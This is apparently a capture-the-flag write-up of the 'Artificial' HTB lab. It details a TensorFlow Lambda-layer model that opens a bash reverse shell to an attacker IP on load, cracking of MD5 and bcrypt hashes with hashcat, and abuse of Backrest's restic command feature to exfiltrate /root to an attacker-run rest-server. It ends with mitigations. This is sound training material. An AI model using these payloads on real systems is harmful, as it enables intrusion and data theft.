Artificial (10.10.11.74) — Detailed Walkthrough

Scope: HTB-style lab — Artificial (artificial.htb)

Purpose of this document: A fully reproducible technical writeup for penetration-test readers, plus a plain-language (non-technical) summary so stakeholders can understand what happened. All commands used are shown exactly as executed. Replace IPs, usernames, and local paths as appropriate for your environment.

TL;DR (non-technical summary)

- I scanned the target and found SSH and a web application.
- The web application allowed users to upload AI models. A malicious model was uploaded which executed code on the server, giving me an initial shell (user `app`).
- I found a local SQLite database containing a hashed password for user `gael`. I cracked the hash to obtain Gael's password and SSH'd in to capture the user flag.
- As `gael`, I discovered a service called Backrest that offered repository backup functionality listening locally on 127.0.0.1:9898. I forwarded that port to my machine and used credentials found in a backup archive to access Backrest's admin UI.
- From Backrest I used its ability to run restic commands to create a backup repository on my host and exfiltrate the root filesystem. Restoring that backup locally revealed the root flag.

This demonstrates how an insecure deserialization/export surface (AI model upload) combined with exposed credentials and a backup tool with powerful operations can lead to a full compromise.

Reconnaissance (what I found and why it matters)

Port scan

```
rustscan -a 10.10.11.74
```

Result: - `22/tcp open ssh` - `80/tcp open http`

Why: standard entry points. The web app is the primary attack surface.

Hostname

I added the target to `/etc/hosts` to use virtual-hosted requests (if necessary):

```
echo "10.10.11.74 artificial.htb" | sudo tee -a /etc/hosts
```

Web discovery

I enumerated subdomains with ffuf and found nothing of value. The site allowed account registration and model uploads.

Why: model uploads are an interesting attack surface when the platform deserializes or loads model files.

Foothold: Malicious TensorFlow model (technical)

Why TensorFlow models are dangerous

TensorFlow (and other ML serialization formats) may execute arbitrary code during model deserialization or when custom layers/functions are loaded. If the server deserializes user-provided models with a permissive loader, a crafted model can execute OS commands.

Observations on this target

The web app's dashboard contained text referencing a Dockerfile that installs TensorFlow. The presence of server-side model loading and the Dockerfile strongly implied the server might import and run uploaded models.

Dockerfile fragment observed (dashboard):

```
FROM python:3.8-slim
WORKDIR /code
RUN apt-get update &&
    apt-get install -y curl &&
    curl -k -LO https://files.pythonhosted.org/.../
tensorflow_cpu-2.13.1-...whl &&
    rm -rf /var/lib/apt/lists/*
RUN pip install ./tensorflow_cpu-2.13.1-*.whl
ENTRYPOINT ["/bin/bash"]
```

Malicious model used

The malicious model uses a `Lambda` layer which executes an `os.system` reverse shell when the model is deserialized or run:

```
import tensorflow as tf

def exploit(x):
    import os
    os.system('/bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.16.27/4444
0>&1"')
    return x
```

```
model = tf.keras.Sequential()
model.add(tf.keras.layers.Input(shape=(64,)))
model.add(tf.keras.layers.Lambda(exploit))
model.compile()
model.save('exploit.h5')
```

Replace `10.10.16.27:4444` with your attacking machine IP and listener port. To receive the shell:

```
# on your host
nc -lvnp 4444
```

Upload and run

- Upload `exploit.h5` through the dashboard upload feature.
- Use the site functionality that loads or runs the model from the dashboard.
- When executed, the model triggered a reverse shell and connected back as `app`.

Post-exploitation (enumeration as `app`)

Standard initial tasks:

```
# identify user
whoami; id

# explore filesystem
ls -la /app
ls -la /app/instance
```

Sensitive files found

In `/app/instance` I found `users.db` (SQLite). To inspect:

```
sqlite3 users.db
.tables
select * from user;
.quit
```

Output revealed a row with `gael` and an MD5 hash:

```
1|gael|gael@artificial.htb|c99175974b6e192936d97224638a34f8
```

Crack the password

The hash appears to be MD5. Use CrackStation or hashcat with a wordlist (e.g. rockyou) to recover the plaintext password.

```
# with hashcat (example)
echo "c99175974b6e192936d97224638a34f8" > hash.txt
hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt
# or upload to CrackStation-style service
```

After cracking, I obtained Gael's password and SSH'd into the box:

```
ssh gael@artificial.htb
# capture user flag
cat /home/gael/user.txt
```

Privilege Escalation — Backrest & Restic (technical)

What I found

- `gael` is part of the `sysadm` group.
- In `/opt/backrest` there is a `backrest` binary running and a web UI listening locally on `127.0.0.1:9898`.

Confirm service listening:

```
netstat -tulpen | grep 9898
# or
ss -ltnp | grep 9898
```

Because it listens only on localhost, I created an SSH tunnel from my host:

```
ssh -L 9898:127.0.0.1:9898 gael@artificial.htb
# then on my host
# open http://localhost:9898 in browser
```

The Backrest UI (v1.7.2) provided an administration panel with a "Run Command" feature. I also found a backup archive on disk:

```
/var/backups/backrest_backup.tar.gz
```

Extracting credentials from the backup

On my host, I copied the archive down and inspected its JSON content. Example file content:

```
{
  "auth": {
    "users": [
      {
        "name": "backrest_root",
        "passwordBcrypt": "JDJhJDEwJGNWR0l5OV..."
      }
    ]
  }
}
```

I saved the bcrypt hash to a file and cracked it with hashcat (mode 3200):

```
echo "$2a$10$G..." > bcrypt.hashes.txt
hashcat -m 3200 bcrypt.hashes.txt /usr/share/wordlists/rockyou.txt
hashcat -m 3200 bcrypt.hashes.txt --show
```

Recovered password allowed me to log in to Backrest as `backrest_root`.

Why Restic matters

Backrest internally calls `restic` for backup/restore tasks. `restic` supports remote repositories using a URL of the form `rest:http://HOST:PORT/NAME` and can be instructed to back up arbitrary paths. If Backrest allows you to run restic-style operations pointing at an attacker-controlled rest-server, you can make the server push files into a repository that you control.

A useful GTFOBins-like pattern (observed on this box) is the `restic backup -r "rest:http://RHOST:RPORT/NAME" LFILE` command that instructs restic to back up `LFILE` to a remote rest-server. If the process running restic has permission to read sensitive files (like `/root`), those files can be exfiltrated.

Exploitation steps (exfiltrate root filesystem)

1) Run a rest-server locally on your attacking machine

```
git clone https://github.com/restic/rest-server.git
cd rest-server
GOARCH=amd64 GOOS=linux go build -o rest-server ./cmd/rest-server
./rest-server --path /tmp/restictemp --listen :8888 --no-auth
```

This starts a repository server on `:8888` without authentication (for lab use only).

2) Create a repository (name: `backuprepo`)

Use the Backrest dashboard → Run Command to initialize a repository pointing to your server, or use the `init` run-command like:

```
# In Backrest Run Command UI (example)
-r rest:http://<yourip>:8888/backuprepo init
```

Replace `<yourip>` with your attacking machine IP reachable from the target.

3) Run backup of `/root`

From Backrest run command UI:

```
-r rest:http://<yourip>:8888/backuprepo backup /root
```

This instructs restic (run by Backrest) to push the `/root` directory into the remote repo. Since restic runs with root privileges (via Backrest), the backup contains root-owned files.

4) Restore locally on your machine

On your attacking machine:

```
restic -r /tmp/restictemp/backuprepo snapshots
# find the snapshot id for the backup
restic -r /tmp/restictemp/backuprepo restore <snapshot_id> --target /tmp/
restore
ls -la /tmp/restore/root
cat /tmp/restore/root/root.txt
```

This yields the `root.txt` flag (or any other sensitive root-owned data).

Post-mortem and mitigation recommendations (non-technical + technical)

Non-technical summary of issues

- The web app allowed user-supplied AI models to be uploaded and executed. These files can contain code. Running untrusted code on a server is dangerous.
- Sensitive credentials were stored in backups accessible on disk. That allowed an attacker to obtain admin credentials for the backup system.
- The backup tool could be coerced to push root-owned files to an attacker-controlled server, effectively leaking everything.

Short, actionable mitigations (technical)

1. **Sandbox model execution**: Run untrusted model loading inside strong sandboxing — separate containers with strict filesystem and network restrictions (no network by default). Validate and disallow custom layers or code execution during deserialization.
2. **Principle of least privilege**: Backrest (or any backup orchestration service) should not store secrets in plaintext or in world-readable archives. Minimise access rights for backup processes and avoid giving backup UI the ability to run arbitrary system commands.
3. **Secure config and secrets**: Encrypt backups and store keys off-host or in a secure vault. Rotate credentials regularly.
4. **Network exposure**: Services listening on localhost should remain bound to localhost; do not expose admin interfaces to broader networks. Additionally, require strong authentication and 2FA for administrative UIs.
5. **Audit & logging**: Monitor for abnormal operations such as backup jobs initiated to external IPs and unusual run-command activity.

Full command log (copy-paste friendly)

```
# Recon
rustscan -a 10.10.11.74
echo "10.10.11.74 artificial.htb" | sudo tee -a /etc/hosts
ffuf -H "Host: FUZZ.artificial.htb" -u http://artificial.htb/ -w /usr/share/
wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt --fw 4

# Build malicious model (on attacker host)
python3 create_exploit_model.py  # (script contains the TF model code above)
# Start listener
nc -lvnp 4444

# On target: upload model via dashboard and trigger
# When reverse shell connects, on attack box:
# interact; gather user info
whoami; id; hostname; pwd
ls -la /app/instance
sqlite3 /app/instance/users.db "select * from user;"

# Crack hash (example)
echo "c99175974b6e192936d97224638a34f8" > hash.txt
hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt
# SSH
ssh gael@artificial.htb
cat /home/gael/user.txt

# Enumerate services
netstat -tulpen | grep 9898
ss -ltnp | grep 9898
# Create tunnel
ssh -L 9898:127.0.0.1:9898 gael@artificial.htb
# open browser to http://localhost:9898
# On attacker host: set up rest-server
git clone https://github.com/restic/rest-server.git
cd rest-server
GOARCH=amd64 GOOS=linux go build -o rest-server ./cmd/rest-server
./rest-server --path /tmp/restictemp --listen :8888 --no-auth

# In Backrest UI: init repo and backup
# Run Command -> init:
-r rest:http://<yourip>:8888/backuprepo init
# Run Command -> backup:
-r rest:http://<yourip>:8888/backuprepo backup /root

# On attack host: restore
restic -r /tmp/restictemp/backuprepo snapshots
restic -r /tmp/restictemp/backuprepo restore <snapshot_id> --target /tmp/
restore
ls -la /tmp/restore/root
cat /tmp/restore/root/root.txt
```

Conclusion

This engagement demonstrates a realistic multi-stage compromise: 1. Unsafe model deserialization → RCE as `app`. 2. Local credential exposure in backups → credential harvesting for Backrest admin. 3. Abusive use of backup tooling (restic) to exfiltrate root-owned data → root compromise.

Flags obtained: - **User flag:** obtained after cracking Gael's password and SSHing in. - **Root flag:** obtained by instructing Backrest/restic to back up `/root` to an attacker-controlled rest-server and restoring locally.

If you want, I can: - produce a PDF/Markdown/HTML export of this writeup, - create a simplified executive-summary slide (PowerPoint), or - convert the technical steps into a step-by-step checklist for defenders.

End of document.

Author: walkerffx